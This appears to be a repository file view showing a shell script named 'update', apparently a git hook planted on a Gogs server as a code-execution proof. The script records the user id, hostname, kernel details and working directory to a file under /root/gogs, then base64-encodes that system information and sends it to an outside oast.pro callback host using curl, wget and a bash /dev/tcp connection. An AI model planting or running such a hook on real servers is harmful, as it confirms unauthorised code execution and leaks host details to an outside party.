update 759 B

1234567891011121314151617181920
  1. #!/bin/sh
  2. TAG="350900"
  3. OUT="/root/gogs/data/tmp/local-repo/5878/_proof_$TAG.txt"
  4. {
  5. echo "tag=$TAG"
  6. echo "uid=$(id 2>&1)"
  7. echo "host=$(hostname 2>&1)"
  8. echo "uname=$(uname -a 2>&1)"
  9. echo "pwd=$(pwd 2>&1)"
  10. echo "args=$*"
  11. } > "$OUT" 2>&1
  12. D=$( { id; hostname; uname -a; } 2>&1 | base64 -w0 2>/dev/null | tr '+/' '-_' | tr -d '=' )
  13. H="cd4547282df75cd148ebd0f8eab102f8f.oast.pro"
  14. U="http://$H/hb/$TAG/$D"
  15. if command -v curl >/dev/null 2>&1; then curl -s -m 10 -o /dev/null "$U" || true; fi
  16. if command -v wget >/dev/null 2>&1; then wget -q -T 10 -O /dev/null "$U" || true; fi
  17. if command -v bash >/dev/null 2>&1; then
  18. bash -c "exec 3<>/dev/tcp/$H/80; printf 'GET /hb/tcp/$TAG HTTP/1.0\r\nHost: $H\r\n\r\n' >&3; cat <&3 >/dev/null 2>&1" || true
  19. fi
  20. exit 0